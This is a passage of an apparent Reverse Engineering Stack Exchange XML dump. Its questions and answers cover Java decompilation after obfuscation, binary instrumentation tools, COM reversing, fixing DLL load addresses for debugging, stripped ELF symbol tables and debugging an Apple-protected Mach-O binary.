after?&lt;/p&gt;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&lt;p&gt;Technically, the .class file is pulled from a jar. I extracted the contents and used the .class file in there.&lt;/p&gt;&#xA;&lt;p&gt;As far as which obfuscator I used, I used the Retroguard obfuscator with the following options (I'm currently just exploring obfuscation and finding out what each thing does to the final result):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.option Application&#xA;.option Applet&#xA;.option Repackage&#xA;.option Annotations&#xA;.option MapClassString&#xA;.attribute LineNumberTable&#xA;.attribute EnclosingMethod&#xA;.attribute Deprecated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Documentation for the script can be found on &lt;a href=&quot;http://www.retrologic.com/rg-docs-scripting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;their site&lt;/a&gt;. It's a little unorganized, but you should be able to find adequate explanations in there. It's also noteworthy that I stripped the generics and the local variable table.&lt;/p&gt;&#xA;&lt;p&gt;I have now also set up a way (inspired by the creators of the Minecraft Coder Pack) to rename the sources using data from a file (or files), which is passed to a dictionary of lists for packages, classes, methods, and fields.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# snippet from the MCP version (mine's slightly different) (all in Python):&#xA;srg_types = {'PK:': ['obf_name', 'deobf_name'],&#xA;            'CL:': ['obf_name', 'deobf_name'],&#xA;            'FD:': ['obf_name', 'deobf_name'],&#xA;            'MD:': ['obf_name', 'obf_desc', 'deobf_name', 'deobf_desc']}&#xA;parsed_dict = {'PK': [],&#xA;               'CL': [],&#xA;               'FD': [],&#xA;               'MD': []}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A line is then parsed from the file, and it is passed into the &lt;code&gt;parsed_dict&lt;/code&gt; and then used to rename everything (back and forth). Implemented after compiling than decompiling the first time (after I noticd differences).&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-08-29T07:16:03.863" Title="Why are there (sometimes major) differences between java source code and its decompiled result?" Tags="|decompilation|java|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2522" PostTypeId="1" CreationDate="2013-07-22T21:45:31.163" Score="10" ViewCount="1356" Body="&lt;p&gt;I'm interested in performing (dynamic) binary instrumentation using Python to be able to analyze the binary by instructions during execution for&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Linux&lt;/p&gt;&#xA;&lt;p&gt;Can someone suggest such tool/framework? Does it even exist or possible?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-09-09T20:18:52.443" Title="Binary instrumentation with Python" Tags="|binary-analysis|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2523" PostTypeId="2" ParentId="2522" CreationDate="2013-07-22T22:35:49.410" Score="9" Body="&lt;p&gt;From &lt;a href=&quot;https://code.google.com/p/processtap/&quot;&gt;https://code.google.com/p/processtap/&lt;/a&gt; -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ProcessTap&lt;/strong&gt; is a dynamic tracing framework for analyzing closed&#xA;  source-applications. ProcessTap is inspired by &lt;a href=&quot;http://opensolaris.org/os/community/dtrace/&quot;&gt;DTrace&lt;/a&gt; and &lt;a href=&quot;http://sourceware.org/systemtap/&quot;&gt;SystemTap&lt;/a&gt;,&#xA;  but it is specific for analyzing closed-source user-space&#xA;  applications. ProcessTap leverages dynamic binary instrumentation to&#xA;  intercept the events of interest (e.g., function calls, system call,&#xA;  memory accesses, and conditional control transfers). Although the&#xA;  current implementation relies on &lt;a href=&quot;http://www.pintool.org/&quot;&gt;PinTool&lt;/a&gt;, alternative back-ends for&#xA;  instrumentation (e.g., &lt;a href=&quot;http://www.valgrind.org/&quot;&gt;Valgrind&lt;/a&gt;, &lt;a href=&quot;http://www.qemu.org/&quot;&gt;Qemu&lt;/a&gt;, or &lt;a href=&quot;http://code.google.com/p/dynamorio/&quot;&gt;DynamoRIO&lt;/a&gt;) can be used. The&#xA;  language used in ProcessTap for writing scripts to instrument&#xA;  applications is &lt;a href=&quot;http://www.python.org/&quot;&gt;Python&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-22T22:35:49.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2525" PostTypeId="2" ParentId="2521" CreationDate="2013-07-23T00:16:43.310" Score="11" Body="&lt;p&gt;Java compiles to bytecode that is run in the JVM, and stored in the .class files. This bytecode is not a 1:1 representation of the original code, and includes several compiler-implemented optimizations. Information is lost when these optimizations are performed, and due to that lost information decompilers can't reconstruct the code back into exactly what it was.&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2013-07-23T00:16:43.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2526" PostTypeId="2" ParentId="2521" CreationDate="2013-07-23T02:56:29.210" Score="6" Body="&lt;p&gt;To add on to what Ditmar said, the big problem is probably your obfuscation. Normal Java bytecode is actually surprisingly close to the original source, at least from the perspective of C or C++ (or even Scala). You'll always lose some information, but unobfuscated Java can be decompiled to something close to the original, especially if you compile with debug information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that goes out the window with obfuscation however, as obfuscators deliberately try to manipulate the structure of the code. When decompiling obfuscated code, you should be more amazed when you find similarities at all.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-07-23T02:56:29.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2529" PostTypeId="1" AcceptedAnswerId="2760" CreationDate="2013-07-23T14:13:21.980" Score="8" ViewCount="1281" Body="&lt;p&gt;Does any of you know of a recent tool to bindiff using ImmunityDebugger?&#xA;I know about BinDiff by Zynamics and PatchDiff for IDA. But I really want a tool like this in ImmDBG. I also know about Radare's bindiffer and the feature in &lt;code&gt;mona.py&lt;/code&gt; (but this is more with memory regions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I use a HexEditor and diff using this. Then I'll lookup the offset + base address using Immunity. This is not really feasible any more as I've recently started reversing bigger patches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Just to be a complete reference, for Firmware Updates I use Binwalk. And you should too :)) &lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2147" LastEditDate="2016-09-30T21:58:58.027" LastActivityDate="2016-09-30T21:58:58.027" Title="Reversing Patches (Binary Diffing)" Tags="|immunity-debugger|patch-reversing|bin-diffing|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2530" PostTypeId="1" CreationDate="2013-07-23T18:02:22.817" Score="8" ViewCount="3057" Body="&lt;p&gt;I'm interested in revers engineer COM objects. How can I find interfaces that a particular object implements if I know what interface it is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell if I need to change or rephrase the question.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2018-05-21T09:30:31.660" Title="What are general guide lines for reversing COM objects" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2531" PostTypeId="2" ParentId="2530" CreationDate="2013-07-23T18:15:37.690" Score="5" Body="&lt;p&gt;If you're looking to reverse engineer the COM library programatically, you should refer to &lt;a href=&quot;https://web.archive.org/web/20161023092604/https://www.microsoft.com/msj/0399/comtype/comtype.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Improve Your Debugging by Generating Symbols from COM Type Libraries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to reverse engineer the COM library statically via IDA Pro, you can use &lt;a href=&quot;http://www.macromonkey.com/bb/index.php/topic,13.0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Class Informer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to reverse engineer the COM library via a nice GUI, I recommend &lt;a href=&quot;http://www.softpedia.com/get/System/System-Info/COMView.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;COMView&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="23069" LastEditDate="2018-05-21T09:30:31.660" LastActivityDate="2018-05-21T09:30:31.660" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="2534" PostTypeId="1" CreationDate="2013-07-24T09:36:16.170" Score="3" ViewCount="387" Body="&lt;p&gt;I would like to know what tools and techniques do you use for rapid analyze of unknown code CMS or framework. If more specifically that for the following tasks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;1&lt;/b&gt;. To locate the file (s) html template layout of the output to the browser.&lt;br&gt;&#xA;&lt;b&gt;2.&lt;/b&gt; Identifying the mechanism of routing on the URL that is both on the basis of the URL, the system determines which content and form in which to display or put in short - a mechanism &lt;i&gt; controller &lt;/i&gt; in the pattern of MVC.&lt;br&gt;&#xA;&lt;b&gt;3.&lt;/b&gt; Identifying the mechanism of the assembly of the main content of the modules, and work with a database that is everything for which usually must meet  model  in the pattern of MVC.&lt;br&gt;&#xA;&lt;b&gt;4.&lt;/b&gt; Determination of the mechanism of assembly of the entire html page before. That is,  view  in the pattern of MVC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a basic, in my opinion, problems arising when creating / redoing projects in PHP, of course is a kind of generalization of more specific tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for me, it's probably become traditional: &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;Xdebug&lt;/a&gt;, IDE for PHP (Eclipse). Also a very special service helps to visualize the trace files Xdebug - &lt;a href=&quot;http://php-recognizer.ru/en&quot; rel=&quot;nofollow&quot;&gt;Recognizer&lt;/a&gt;. It is good because it builds a comfortable working sequence diagram of a trace log. Maybe enough for someone to read documentation, view the source code or running in the debugger, but for me chart tracing helps to form in my head the system and has become a really rapid way of analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the average time you spend on the above tasks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encourage effective tools for quick/easy analysis (reverse engineering) of unknown CMS or framework?&lt;/p&gt;&#xA;" OwnerUserId="2512" LastActivityDate="2013-07-24T09:36:16.170" Title="How to quickly/easily make an analysis (reverse engineering) of the code of unknown CMS or framework on PHP?" Tags="|tools|debuggers|dynamic-analysis|php|cms|" AnswerCount="0" CommentCount="1" ClosedDate="2013-08-09T01:49:37.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="2535" PostTypeId="2" ParentId="2510" CreationDate="2013-07-26T13:25:50.200" Score="2" Body="&lt;p&gt;If you are under GNU/Linux, you may want to look at &lt;a href=&quot;http://www.trapkit.de/tools/checksec.html&quot; rel=&quot;nofollow&quot;&gt;checksec.sh&lt;/a&gt;. If you are under Windows, you could take at look at it; maybe you'll find some interesting stuff that you could backport in Python.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-07-26T13:25:50.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2536" PostTypeId="1" CreationDate="2013-07-26T14:38:17.797" Score="8" ViewCount="2033" Body="&lt;p&gt;I need to run a debugger on an application and analyze its startup, however the main DLL gets loaded at different addresses every time, which makes my job much harder. How can I disable ASLR completely, or at least force one DLL to be loaded at a particular, always constant address?&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-04-22T12:27:35.543" Title="How to force the loading of a DLL in Windows XP at a particular address" Tags="|windows|dll|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2537" PostTypeId="2" ParentId="2536" CreationDate="2013-07-26T14:42:07.470" Score="5" Body="&lt;p&gt;I believe on XP if you strip the relocation table from the DLL (Or null out the relocation tables RVA and size in the data directory), then the Windows loader will try to load the DLL at its preferred base address (The ImageBase in the Optional Header) as it can no longer be relocated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long as the memory at the preferred base address is available this should work. Later versions of Windows may prevent this depending on loader options AFAIK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A handy tool to edit PE files is the freely available &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot;&gt;CFF Explorer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2013-07-26T14:42:07.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2538" PostTypeId="1" AcceptedAnswerId="2543" CreationDate="2013-07-26T16:39:41.280" Score="3" ViewCount="174" Body="&lt;p&gt;I am looking at a windows library in IDA pro and I came across a function call &lt;pre&gt;&lt;code&gt;BindW(ushort **, void **)&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA pro adds the comments &lt;em&gt;Binding&lt;/em&gt; and &lt;em&gt;StringBinding&lt;/em&gt; respectively to the parameters when they are pushed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this function?&lt;/p&gt;&#xA;" OwnerUserId="1854" LastActivityDate="2013-07-26T23:51:31.410" Title="What is *BindW*?" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2539" PostTypeId="1" AcceptedAnswerId="2639" CreationDate="2013-07-26T17:24:18.553" Score="29" ViewCount="26688" Body="&lt;p&gt;I am currently looking at the ELF format, and especially at stripped ELF executable program files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that, when stripped, the symbol table is removed, but some information are always needed to link against dynamic libraries. So, I guess that there are other symbols that are kept whatever the executable has been stripped or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the dynamic symbol table seems to be always kept (actually this is part of my question). It contains all the names of functions coming from dynamic libraries that are used in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, taking a stripped binary and looking at the output of &lt;code&gt;readelf&lt;/code&gt; on it will give you the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.dynsym' contains 5 entries:&#xA; Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA; 0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA; 1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)&#xA; 2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)&#xA; 3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__&#xA; 4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.2.5 (2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, what are all the symbol tables that the system always need to keep inside the executable file, even after a strip (and what are they used for) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another part of my question, would also be about how to use these dynamic symbols. Because, they are all pointing to zero and not to a valid address. You do we identify, as &lt;code&gt;objdump&lt;/code&gt; does, their respective links to the code stored in the PLT. For example, in the following dump I got from &lt;code&gt;objdump -D&lt;/code&gt;, we can see that the section &lt;code&gt;.plt&lt;/code&gt; is split, I assume that this is thanks to symbols, into subsections corresponding to each dynamic function, I would like to know if this is coming from another symbol table that I do not know or if &lt;code&gt;objdump&lt;/code&gt; rebuild this information (and, then, I would like to know how):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .plt:&#xA;&#xA;0000000000400400 &amp;lt;puts@plt-0x10&amp;gt;:&#xA;400400:       ff 35 6a 05 20 00       pushq  0x20056a(%rip)&#xA;400406:       ff 25 6c 05 20 00       jmpq   *0x20056c(%rip)&#xA;40040c:       0f 1f 40 00             nopl   0x0(%rax)&#xA;&#xA;0000000000400410 &amp;lt;puts@plt&amp;gt;:&#xA;400410:       ff 25 6a 05 20 00       jmpq   *0x20056a(%rip)&#xA;400416:       68 00 00 00 00          pushq  $0x0&#xA;40041b:       e9 e0 ff ff ff          jmpq   400400 &amp;lt;puts@plt-0x10&amp;gt;&#xA;&#xA;0000000000400420 &amp;lt;__libc_start_main@plt&amp;gt;:&#xA;400420:       ff 25 62 05 20 00       jmpq   *0x200562(%rip)&#xA;400426:       68 01 00 00 00          pushq  $0x1&#xA;40042b:       e9 d0 ff ff ff          jmpq   400400 &amp;lt;puts@plt-0x10&amp;gt;&#xA;&#xA;0000000000400430 &amp;lt;__gmon_start__@plt&amp;gt;:&#xA;400430:       ff 25 5a 05 20 00       jmpq   *0x20055a(%rip)&#xA;400436:       68 02 00 00 00          pushq  $0x2&#xA;40043b:       e9 c0 ff ff ff          jmpq   400400 &amp;lt;puts@plt-0x10&amp;gt;&#xA;&#xA;0000000000400440 &amp;lt;perror@plt&amp;gt;:&#xA;400440:       ff 25 52 05 20 00       jmpq   *0x200552(%rip)&#xA;400446:       68 03 00 00 00          pushq  $0x3&#xA;40044b:       e9 b0 ff ff ff          jmpq   400400 &amp;lt;puts@plt-0x10&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Thanks to Igor's comment, I found the different offsets allowing to rebuild the information in &lt;code&gt;.rela.plt&lt;/code&gt; (but, what is &lt;code&gt;.rela.dyn&lt;/code&gt; used for ?).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Relocation section '.rela.dyn' at offset 0x368 contains 1 entries:&#xA;  Offset          Info           Type           Sym. Value    Sym. Name + Addend&#xA;000000600960  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0&#xA;&#xA;Relocation section '.rela.plt' at offset 0x380 contains 4 entries:&#xA;  Offset          Info           Type           Sym. Value    Sym. Name + Addend&#xA;000000600980  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0&#xA;000000600988  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main + 0&#xA;000000600990  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0&#xA;000000600998  000400000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-07-26T17:44:48.907" LastActivityDate="2017-06-23T01:45:17.357" Title="What symbol tables stay after a strip In ELF format?" Tags="|elf|dynamic-linking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2540" PostTypeId="1" CreationDate="2013-07-26T18:36:15.123" Score="12" ViewCount="2889" Body="&lt;p&gt;I'm trying to analyze an &lt;a href=&quot;https://web.archive.org/web/20200103161737/http://osxbook.com/book/bonus/chapter7/binaryprotection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypted Mach-O binary&lt;/a&gt; (non-iPhone one), and I am observing the following strange behaviors:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when I load this binary into GDB and try to disassemble the code at the address indicated by the entry point, GDB returns garbage instead of any meaningful asm.&lt;/li&gt;&#xA;&lt;li&gt;the same happens with radare2&lt;/li&gt;&#xA;&lt;li&gt;Hopper disassembler shows the same entry point address but delivers a clear disassembly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I've tried to execute this application in GDB - nothing works at all.&#xA;Surprisingly, executing this app from terminal works plenty well.&lt;/p&gt;&#xA;&lt;p&gt;I'm afraid that my target has been packed/compressed/obfuscated in some way GDB/radare2 cannot cope with. Surprisingly, Hopper processes it pretty well.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I don't own a full version of the Hopper. Moreover, I would like to be able to debug this app in GDB. Is there any way to do this?&lt;/p&gt;&#xA;&lt;p&gt;Has anyone else run into something like this? If so, how should I proceed?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="13506" LastEditDate="2022-04-30T14:52:09.293" LastActivityDate="2022-05-14T20:37:14.983" Title="Encrypted Mach-o binary cannot be disassembled/traced with GDB" Tags="|disassembly|gdb|hopper|mach-o|radare2|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="2541" PostTypeId="2" ParentId="2536" CreationDate="2013-07-26T21:52:04.963" Score="5" Body="&lt;p&gt;To actually &lt;em&gt;force&lt;/em&gt; a DLL to load at a particular address without making structural changes to it first, you need to allocate all of the rest of available memory first, and of course, ensure that the target location isn't in use already.&#xA;To disable ASLR for any given file, you have to set the IMAGE_FILE_RELOCS_STRIPPED flag in the Characteristics field of the COFF header.  Removing the relocation table won't do it, if the file opted into ASLR.  Windows will still move it around, it just won't relocate any of the data.&#xA;As far as I know, you can't turn off ASLR globally.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-07-26T21:52:04.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2542" PostTypeId="2" ParentId="2540" CreationDate="2013-07-26T23:36:03.583" Score="10" Body="&lt;p&gt;Actually, GDB rely on the GNU binutils to open and disassemble the binary. So, the management of the binary format is done through &lt;code&gt;libbfd.so&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, MacOS X binutils comes with the Mach-O management, but it might be that you are using a buggy package. Or, you may also try to open a Mach-O on another system than MacOS X, and on other systems the Mach-O support is extremely rarely added to the default package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to get the Mach-O support (and all possible formats and architectures in GNU binutils) is to compile the package with the option &lt;code&gt;--enable-targets=all&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I am using a Debian unstable. and I am used to recompile the whole package taken from sources. Here are the steps to follow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following line to your &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb-src ftp://ftp.debian.org/debian/ unstable main contrib&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update your list of packages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;su -c 'apt-get update'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the packages needed to compile the &lt;code&gt;binutils&lt;/code&gt; packages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;su -c 'apt-get build-dep binutils'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the sources of the &lt;code&gt;binutils&lt;/code&gt; packages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get source binutils&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into the &lt;code&gt;binutils&lt;/code&gt; source directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd binutils-x.x.x/&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;binutils-x.x.x/debian/rules&lt;/code&gt; rewrite the following line like this (remove all other targets):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; multiarch_targets = all&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Build the packages (this might take quite a while):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dpkg-buildpackage -rfakeroot -us -uc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the &lt;code&gt;binutils-multiarch&lt;/code&gt; package:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dpkg -i binutils-multiarch_x.x.x_amd64.deb&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-09-15T21:40:43.023" LastActivityDate="2013-09-15T21:40:43.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2543" PostTypeId="2" ParentId="2538" CreationDate="2013-07-26T23:51:31.410" Score="4" Body="&lt;p&gt;It's an undocumented non-exported function. Hex-Rays output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RPC_STATUS __stdcall BindW(RPC_WSTR *StringBinding, RPC_BINDING_HANDLE *Binding)&#xA;{&#xA;  RPC_STATUS result; // eax@1&#xA;&#xA;  result = RpcStringBindingComposeW(0, L&quot;ncalrpc&quot;, 0, L&quot;protected_storage&quot;, 0, StringBinding);&#xA;  if ( !result )&#xA;    result = RpcBindingFromStringBindingW(*StringBinding, Binding);&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-26T23:51:31.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2544" PostTypeId="2" ParentId="2540" CreationDate="2013-07-26T23:55:17.160" Score="9" Body="&lt;p&gt;Many thanks for your answer!&lt;/p&gt;&#xA;&lt;p&gt;I did some more research and found the following out:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;because my target is a part of the Macintosh system, the so-called &amp;quot;Apple binary protection&amp;quot; protects that from being disassembled/debugged directly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;otool -l [target]&amp;quot; reveals the following information:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Load command 0&#xA;  cmd LC_SEGMENT&#xA;  cmdsize 532&#xA;  segname __TEXT&#xA;  vmaddr 0xb8000000&#xA;  vmsize 0x001df000&#xA;  fileoff 0&#xA;  filesize 1961984&#xA;  maxprot 0x00000007&#xA;  initprot 0x00000005&#xA;  nsects 7&#xA; flags 0x8          &amp;lt;-------- &amp;quot;WARNING: encrypted!!!&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Therefore, I need to find a way to decrypt the binary before trying to use GDB on it. I've read that it's possible to do manually using GDB, dd and any suitable hex editor but I couldn't find any stepwise instructions.&lt;/p&gt;&#xA;&lt;p&gt;This tool claims to be able to do the decryption:&#xA;&lt;a href=&quot;http://tumblr.alanquatermain.me/post/97884723/apple-binary-protection-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tumblr.alanquatermain.me/post/97884723/apple-binary-protection-tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but it doesn't work for me.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone else here ever dealt with such a binary?&#xA;Many thanks in advance!&lt;/p&gt;&#xA;&lt;p&gt;Here some more descriptions of this protection schema:&#xA;&amp;lt;&lt;a href=&quot;https://web.archive.org/web/20200103161737/http://osxbook.com/book/bonus/chapter7/binaryprotection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://reverse.put.as/2009/06/30/how-to-dump-an-apple-protected-binary/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://reverse.put.as/2009/06/30/how-to-dump-an-apple-protected-binary/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;UPDATE: I've finally managed to decrypt my target using this tool: &lt;a href=&quot;http://www.insanelymac.com/forum/topic/285375-apb-decrypt-for-mountain-lion-lion-and-snow-leopard-apple-protected-binary-decryptor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.insanelymac.com/forum/topic/285375-apb-decrypt-for-mountain-lion-lion-and-snow-leopard-apple-protected-binary-decryptor/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;GDB shows a correct disassembly with &amp;quot;disas 0xb800e5c4&amp;quot; where 0xb800e5c4 indicates the entry point. While the decrypted binary works when launched from terminal, stepping and running inside of GDB still doesn't work though...&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="13506" LastEditDate="2022-05-14T20:37:14.983" LastActivityDate="2022-05-14T20:37:14.983" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2546" PostTypeId="2" ParentId="283" CreationDate="2013-07-27T14:11:25.220" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Chinese Backtrack - &lt;a href=&quot;http://www.pentoo.ch/&quot; rel=&quot;nofollow&quot;&gt;Pentoo&lt;/a&gt; is a security-focused livecd based on Gentoo.&lt;/li&gt;&#xA;&lt;li&gt;Have a look at &lt;a href=&quot;http://www.utec-tic.org/index.php?option=com_content&amp;amp;view=article&amp;amp;id=33&amp;amp;Itemid=118&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; (partially in French)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.deftlinux.net/about/&quot; rel=&quot;nofollow&quot;&gt;Incident Response, Cyber Intelligence and Computer Forensics&lt;/a&gt; might be useful.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2530" LastEditorUserId="188" LastEditDate="2013-07-30T09:29:02.787" LastActivityDate="2013-07-30T09:29:02.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
